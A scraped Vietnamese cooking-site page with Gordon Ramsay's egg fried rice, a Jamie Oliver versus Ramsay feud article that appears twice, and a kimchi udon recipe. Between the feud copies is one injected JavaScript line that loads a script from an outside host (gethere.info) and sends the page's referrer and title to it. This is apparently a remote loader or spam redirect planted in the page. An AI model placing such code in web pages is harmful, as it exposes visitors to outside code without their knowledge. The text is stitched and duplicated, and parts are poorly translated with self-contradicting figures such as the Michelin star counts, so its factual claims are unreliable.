Bạn đang xem bài viết Công Thức Xào Cơm Trứng 10 Phút Của Gordon Ramsay được cập nhật mới nhất trên website Raffles-hanoi.edu.vn. Hy vọng những thông tin mà chúng tôi đã chia sẻ là hữu ích với bạn. Nếu nội dung hay, ý nghĩa bạn hãy chia sẻ với bạn bè của mình và luôn theo dõi, ủng hộ chúng tôi để cập nhật những thông tin mới nhất.
Với nước tương, nước mắm và tỏi, công thức xào cơm trứng này khiến chúng ta phải nhớ đến cách chiên cơm rất Việt
Bị cách ly ở nhà như bao người khác, đầu bếp siêu sao Gordon Ramsay đã thực hiện show nấu ăn qua Instagram. Trợ thủ cầm máy của ông là các con gái, nên đôi khi phiên bản Ramsay in 10 at home có phần nháo nhào và loạn xạ. Nhưng điều này chỉ làm tăng độ vui vẻ, chân thật của show.
Mỗi thứ Bảy hàng tuần, ông sẽ đăng tải lên Instagram cá nhân một video dạy nấu ăn mới. Tất cả đều được quay live trong 10 phút để đảm bảo rằng ông không “bốc phét” khi nói công thức dễ thực hiện.
Lần này, Gordon Ramsay chỉ bạn một công thức xào cơm trứng với những món dư thừa trong tủ lạnh. Sử dụng nước tương, nước mắm, tỏi và ớt làm hương vị chính. Những món rau củ còn lại có thể được thay thế với bất cứ loại nào bạn còn tồn đọng trong tủ lạnh. Nhìn video nấu ăn của Gordon Ramsay kỳ này, Harper’s Bazaar cho rằng ông đang lấy cảm hứng từ món Việt! Trông nó thật giống với món cơm chiên nước mắm tỏi của mình, nhỉ?
CÔNG THỨC XÀO CƠM TRỨNG CỦA GORDON RAMSAY
NGUYÊN VẬT LIỆU
Sốt chính Các nguyên phụ liệu
Cơm trắng Thịt vụn (bò, gà, heo, cừu…) Trứng Rau thừa trong tủ lạnh (ớt chuông, nấm, cải…)
CÔNG THỨC
1. Đặt chảo lên bếp. Mở lửa cho thật nóng.
2. Thịt xắt vụn. Tách thịt ra trước khi đổ vào chảo.
3. Một khi chảo đã nóng, trút thịt vào. Cố gắng sắp xếp để thịt không đè lên nhau.
4. Thêm ớt xắt, tỏi và gừng vào xào cùng với thịt. Xào trong vòng 5 phút rồi bỏ ra dĩa. Không tắt lửa.
5. Trong chảo còn nóng, thêm chút dầu vào và xào rau củ.
6. Khi rau vừa chín tới, đổ ra đĩa. Bước này sẽ giúp cho rau không bị úa khi ở trong chảo nóng quá lâu.
7. Bây giờ chiên cơm và trứng. Thêm gia vị cho cơm ngon.
8. Cuối cùng khi cơm vừa chín vàng, hãy trộn thịt và rau củ ngược vào trong chảo. Đảo đều.
9. Dọn ra đĩa. Hy vọng bạn đã hoàn thành món ăn này trong chỉ 10 phút như Gordon Ramsay!
Harper’s Bazaar Việt Nam
Jamie Oliver &Amp; Gordon Ramsay
Jamie Oliver đã được sinh ra và lớn lên ở làng Clavering. Gia đình anh có một nhà hàng nhỏ ở địa phương mang tên The Cricketers, chính vì vậy mà ngay từ bé, Oliver đã được đào tạo những kĩ năng nấu ăn cơ bản nhất.
Oliver nổi tiếng với 3 loạt chương trình truyền hình The Naked Chef, Return of the Naked Chef và Happy Days with The Naked ChefOliver; sau đó ông chuyển đến Kênh 4 tại Vương quốc Anh, nơi bộ phim tài liệu đầu tiên của ông ra mắt sau khi thành lập 15 nhà hàng tại London, Anh.
Năm 2005, Oliver đã khởi xướng một chiến dịch với tên gọi “Feed Me Better” để hướng những học sinh Anh đến với những thực phẩm lành mạnh, hạn chế đồ ăn vặt.
Đầu bếp tài ba này còn chứng to khả năng vượt trội của mình trong lĩnh vực kinh doanh. Công ty mà ông nắm giữ, Jamie Oliver Holdings Ltd với số chứng khoản niêm yết trên The Sunday Times đã vinh danh ông trở thành người Anh giàu nhất dưới 30 tuổi.
Người ta biết đến Oliver như một đầu bếp tốc độ nhất trên thế giới với những bữa ăn chỉ trong 15 phút ở Jamie trên kênh Channel 4, được phát sóng 40 tập năm 2012.
Tháng 1 năm 2013, ông bắt đầu đưa truyền hình kỹ thuật số, những phương tiện truyền thông hiện đại vào cách thức truyền đạt nấu ăn của mình. Và hơn 1 năm sau, Oliver nhận được 3 ngôi sao về linh vực chất lượng thực phậm Tube và xuất bản thành công cuốn sách nấu ăn đầu tiên về những công thức làm bánh Cupcake Jemma thông qua nhà xuất bản Penguin Books.
Tuy nhiên, đầu bếp tài ba này lại là một thế cực hoàn toàn đối lập với siêu đầu bếp , ông từng tuyên bố: ” Tôi và Ramsay không bao giờ đứng trong cùng một căn bếp. Anh ta luôn ghen tị với những thành công của tôi “.
Tại Nhà hát Opera Sydney vào ngày 23/5 vừa qua, Oliver là người sở hữu trị giá tài sản lên tới 240 triệu bảng Anh và ông cho biết: ” Gordon Ramsay sẽ làm bất cứ điều gì để lấy cắp những điều tôi đang có vì anh ta luôn ghen tị và không bao giờ có thể hoàn thành được những công việc mà tôi đã từng làm“. ” Anh ta là một người khoa trương, luôn đổ lỗi cho người khác trong khi chưa làm tròn trách nhiệm của mình. Anh ta còn kiêu ngạo đến mức sẽ không trò chuyện với bất cứ ai, người mà anh ta cho là không cùng đẳng cấp với mình vì xấu hổ “, Oliver bộc bạch.
Oliver lên tiếng đáp trả những nhận xét của Ramsay trong The Sun: ” Người Úc và người Anh không giống nhau. Thật là bất lịch sự khi chê bai người khác khi bản thân mình chưa thử làm việc đó. Tôi yêu nước Úc và con người ở đây, bởi vậy, tôi thể hiện điều đó trên kênh truyền hình quốc gia họ “.
Ramsay sau đó đã gắn cho Oliver biệt danh “Cái nồi ngoan cố” và 2 đầu bếp này liên tục có những lời nói chế giễu nhau trên Botox.
Ramsay cũng từng nói một câu với TMZ: ” Đây là lần cuối tôi phàn nàn về chất lượng một món ăn tại nhà hàng nào đó ở mức Restaurant Jamie Oliver ” – có ý muốn nói nhà hàng của Oliver không bao giờ khiến Ramsay phải để tâm.
Còn vào năm 2010, Oliver trong một cuộc phỏng vấn với Mirror có nói: ” Nếu tôi phải lựa chọn giữa sách dạy nấu ăn của Gordon Ramsay hoặc Tana Ramsay, nó chắc chắn sẽ là Tana “. Tana chính là vợ của Gordon Ramsay, bà cũng là một nhà văn nổi tiếng ở Anh.
Hiện tại, Jamie Oliver đang sở hữu khối tài sản lên tới 240 triệu bảng. Chủ của 50 nhà hàng trên toàn thế giới với 26 cuốn sách dạy nấu ăn được xuất bản, trong đó đã có hơn 37 triệu bản được tiêu thụ.
Jamie chưa đạt được bất cứ ngôi sao nào.
Trong khi đó, đối thủ của ông, Gordon Ramsay đang sở hữu khối tài sản trị giá 82 triệu bảng. Ông là chủ có 33 nhà hàng, trong đó có 12 thương hiệu nổi tiếng toàn thế giới. Tính đến thời điểm hiện tại, Ramsay có 21 cuốn sách đã được xuất bản, trong đó có hơn 3 triệu bản được bán ra.
Ramsay nhận được tổng cộng 10 ngôi sao Michelin (3 ở Anh và 3 ở nước ngoài).
Nếu xét về giá trị tài sản ròng và số lượng sách bán ra thì Jamie Oliver đã chiến thắng. Tuy nhiên, Gordon Ramsay lại tự hào có ba sao Michelin trong nước để khẳng định tên tuổi của ông, trong khi Oliver thì chưa có một sao nào.
s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + “;
Jamie Oliver Và Gordon Ramsay Hai Thế Cực Đối Đầu
Jamie Oliver và Gordon Ramsay hai thế cực đối đầu
Hẳn ai cũng đã biết đến vị bếp trưởng lừng lẫy Gordon Ramsay, người dẫn cũng là giám khảo cho chương trình thực tế Master Chef nổi tiếng lừng danh nước Mỹ.
Trong khi đó, James Trevor Oliver sinh năm 1975, là một đầu bếp và chủ nhà hàng nổi tiếng ở Anh. Ông xuất hiện trên rất nhiều chương trình truyền thông nổi tiếng để giới thiệu những cuốn sách dạy nấu ăn của mình và gần đây nhất là chiến dịch toàn cầu về thực phẩm “xanh”.
Jamie Oliver đã được sinh ra và lớn lên ở làng Clavering. Gia đình anh có một nhà hàng nhỏ ở địa phương mang tên The Cricketers, chính vì vậy mà ngay từ bé, Oliver đã được đào tạo những kĩ năng nấu ăn cơ bản nhất.
Ông bắt đầu sự nghiệp nấu ăn chuyên nghiệp của mình tại một nhà hàng bánh ngọt Yard Antonio Carluccio của Neal, nơi ông lần đầu tiên được tiếp xúc với những món ăn Ý; cũng chính là nơi ông gặp gỡ người thầy sau này của mình, đầu bếp nổi tiếng Gennaro Contaldo.
Oliver nổi tiếng với 3 loạt chương trình truyền hình The Naked Chef, Return of the Naked Chef và Happy Days with The Naked ChefOliver; sau đó ông chuyển đến Kênh 4 tại Vương quốc Anh, nơi bộ phim tài liệu đầu tiên của ông ra mắt sau khi thành lập 15 nhà hàng tại London, Anh.
Năm 2005, Oliver đã khởi xướng một chiến dịch với tên gọi “Feed Me Better” để hướng những học sinh Anh đến với những thực phẩm lành mạnh, hạn chế đồ ăn vặt.
Đầu bếp tài ba này còn chứng to khả năng vượt trội của mình trong lĩnh vực kinh doanh. Công ty mà ông nắm giữ, Jamie Oliver Holdings Ltd với số chứng khoản niêm yết trên The Sunday Times đã vinh danh ông trở thành người Anh giàu nhất dưới 30 tuổi.
Tháng 6 năm 2008, nhà hàng Jamie của ông ra đời, và ngay sau đó đã thực hiện nhượng quyền thương mại trên toàn cầu với các chi nhánh tại UAE, Australia, Ireland, Nga, Thổ Nhĩ Kỳ, Singapore và Hồng Kông. Đến tháng 12 năm 2009, Oliver nhận được giải thưởng TED 2010 – một giải thưởng danh giá vinh danh những cá nhân sáng tạo với tầm nhìn táo bạo, châm ngòi cho một xu hướng hoàn toàn mới trên thế giới.
Người ta biết đến Oliver như một đầu bếp tốc độ nhất trên thế giới với những bữa ăn chỉ trong 15 phút ở Jamie trên kênh Channel 4, được phát sóng 40 tập năm 2012.
Tháng 1 năm 2013, ông bắt đầu đưa truyền hình kỹ thuật số, những phương tiện truyền thông hiện đại vào cách thức truyền đạt nấu ăn của mình. Và hơn 1 năm sau, Oliver nhận được 3 ngôi sao về linh vực chất lượng thực phậm Tube và xuất bản thành công cuốn sách nấu ăn đầu tiên về những công thức làm bánh Cupcake Jemma thông qua nhà xuất bản Penguin Books.
Tuy nhiên, đầu bếp tài ba này lại là một thế cực hoàn toàn đối lập với siêu đầu bếpGordon Ramsay, ông từng tuyên bố: ” Tôi và Ramsay không bao giờ đứng trong cùng một căn bếp. Anh ta luôn ghen tị với những thành công của tôi “.
Đã có rất nhiều bài báo tốn không ít giấy mực cho “mối thù không hiểu vì sao có” giữa Jamie Oliver và Gordon Ramsay. Nhưng hiện tại, chủ xị loạt chương trình nổi tiếng Master Chef vẫn chưa có bất kỳ phản hồi nào đối với những ý kiến từ đồng nghiệp của mình.
Tại Nhà hát Opera Sydney vào ngày 23/5 vừa qua, Oliver là người sở hữu trị giá tài sản lên tới 240 triệu bảng Anh và ông cho biết: ” Gordon Ramsay sẽ làm bất cứ điều gì để lấy cắp những điều tôi đang có vì anh ta luôn ghen tị và không bao giờ có thể hoàn thành được những công việc mà tôi đã từng làm“. ” Anh ta là một người khoa trương, luôn đổ lỗi cho người khác trong khi chưa làm tròn trách nhiệm của mình. Anh ta còn kiêu ngạo đến mức sẽ không trò chuyện với bất cứ ai, người mà anh ta cho là không cùng đẳng cấp với mình vì xấu hổ “, Oliver bộc bạch.
Được biết, sự hiềm khích của 2 đầu bếp nổi tiếng này bắt đầu từ năm 2009, khi Gordon Ramsay đã có ý kiến chê bai Oliver về khả năng dẫn chương trình của anh trong một chương trình truyền hình của Úc.
Oliver lên tiếng đáp trả những nhận xét của Ramsay trong The Sun: ” Người Úc và người Anh không giống nhau. Thật là bất lịch sự khi chê bai người khác khi bản thân mình chưa thử làm việc đó. Tôi yêu nước Úc và con người ở đây, bởi vậy, tôi thể hiện điều đó trên kênh truyền hình quốc gia họ “.
Ramsay sau đó đã gắn cho Oliver biệt danh “Cái nồi ngoan cố” và 2 đầu bếp này liên tục có những lời nói chế giễu nhau trên Botox.
Ramsay cũng từng nói một câu với TMZ: ” Đây là lần cuối tôi phàn nàn về chất lượng một món ăn tại nhà hàng nào đó ở mức Restaurant Jamie Oliver ” – có ý muốn nói nhà hàng của Oliver không bao giờ khiến Ramsay phải để tâm.
Còn vào năm 2010, Oliver trong một cuộc phỏng vấn với Mirror có nói: ” Nếu tôi phải lựa chọn giữa sách dạy nấu ăn của Gordon Ramsay hoặc Tana Ramsay, nó chắc chắn sẽ là Tana “. Tana chính là vợ của Gordon Ramsay, bà cũng là một nhà văn nổi tiếng ở Anh.
Cùng đặt 2 đầu bếp này lên bàn đấu:
Hiện tại, Jamie Oliver đang sở hữu khối tài sản lên tới 240 triệu bảng. Chủ của 50 nhà hàng trên toàn thế giới với 26 cuốn sách dạy nấu ăn được xuất bản, trong đó đã có hơn 37 triệu bản được tiêu thụ.
Jamie chưa đạt được bất cứ ngôi sao Michelin nào.
Trong khi đó, đối thủ của ông, Gordon Ramsay đang sở hữu khối tài sản trị giá 82 triệu bảng. Ông là chủ có 33 nhà hàng, trong đó có 12 thương hiệu nổi tiếng toàn thế giới. Tính đến thời điểm hiện tại, Ramsay có 21 cuốn sách đã được xuất bản, trong đó có hơn 3 triệu bản được bán ra.
Ramsay nhận được tổng cộng 10 ngôi sao Michelin (3 ở Anh và 3 ở nước ngoài).
Nếu xét về giá trị tài sản ròng và số lượng sách bán ra thì Jamie Oliver đã chiến thắng. Tuy nhiên, Gordon Ramsay lại tự hào có ba sao Michelin trong nước để khẳng định tên tuổi của ông, trong khi Oliver thì chưa có một sao nào.
Theo kinhdoanhnhahang.vn
Công Thức Chế Biến Mì Udon Xào Kim Chi Của Dân Hàn
Ẩm thực Hàn Quốc – Kimchi udon xào là một bữa ăn tối trong tuần dễ dàng mà có thể sẵn sàng trong 15 phút. Thành phần chính là thịt xông khói, Kimchi, mì udon và nước sốt cay Hàn Quốc. Nó chỉ đơn giản gây nghiện! Đó sẽ là món mì mới yêu thích của bạn!
2 gói udon mì (tổng cộng 400g)
4 lát rindless thịt xông khói cắt ngắn (cắt nhỏ thành từng miếng có kích thước thu nhỏ) (* xem ghi chú ở trên), 120g
1 cup tuổi Kimchi (cắt nhỏ thành từng miếng có kích thước thu nhỏ)
50 g hành tây xắt lát mỏng
30 g hành lá xắt lát mỏng
Một số loại dầu ăn (tôi đã sử dụng dầu cám gạo)
NƯỚC MẮM (MIX NÀY TRONG BOWL)
1 muỗng canh mảnh ớt Hàn Quốc (gochugaru)
1/2 muỗng canh ớt Hàn Quốc dán (gochujang)
1 muỗng canh nước tương
1 muỗng canh mật ong
1 muỗng canh đường thô
1/2 muỗng cà phê tỏi băm nhỏ
1 muỗng cà phê dầu mè
1 muỗng cà phê gạo dấm (tùy chọn) – thêm này nếu Kimchi của bạn không đủ tuổi hoặc nếu bạn muốn thêm tanginess
Trang trí (NÀY LÀ BẮT BUỘC, nhưng họ chắc chắn NÂNG CAO HƯƠNG!)
2 trứng (luộc mềm hoặc chảo chiên)
Rất ít rắc hạt tiêu đen
1 muỗng canh rang hạt mè
1 muỗng canh hành lá (xắt thái lát)
Vài dải Hàn rang rong biển dày dạn
Cách làm:
Đun sôi mì udon theo hướng dẫn của nhà sản xuất. Xả nước. Để qua một bên. (Lý tưởng nhất, bước 1 và bước 2 nên bắt đầu cùng một lúc để bạn sử dụng mì tươi, ấm áp và không dính.)
Đun nóng chảo / chảo trên lửa trung bình cao và một khi được làm nóng thêm một số loại dầu ăn và rải mỏng. Thêm thịt xông khói và nấu 2-3 phút. Thỉnh thoảng khuấy.
Thêm hành tây và Kimchi và nấu cho đến khi họ đang héo (khoảng 1-2 phút). Thêm nước mắm và trộn chúng tốt.
Thêm mì udon và trộn chúng với phần còn lại của các thành phần. Thêm hành lá và khuấy nhẹ.
Phục vụ các món mì trên đĩa, trang trí với trứng, hạt tiêu đen mặt đất, hành xanh, hạt mè, và dải rong biển.
Ghi chú recipe
* 1 muỗng canh = 15 ml, 1 Cup = 250 ml
Cập nhật thông tin chi tiết về Công Thức Xào Cơm Trứng 10 Phút Của Gordon Ramsay trên website Raffles-hanoi.edu.vn. Hy vọng nội dung bài viết sẽ đáp ứng được nhu cầu của bạn, chúng tôi sẽ thường xuyên cập nhật mới nội dung để bạn nhận được thông tin nhanh chóng và chính xác nhất. Chúc bạn một ngày tốt lành!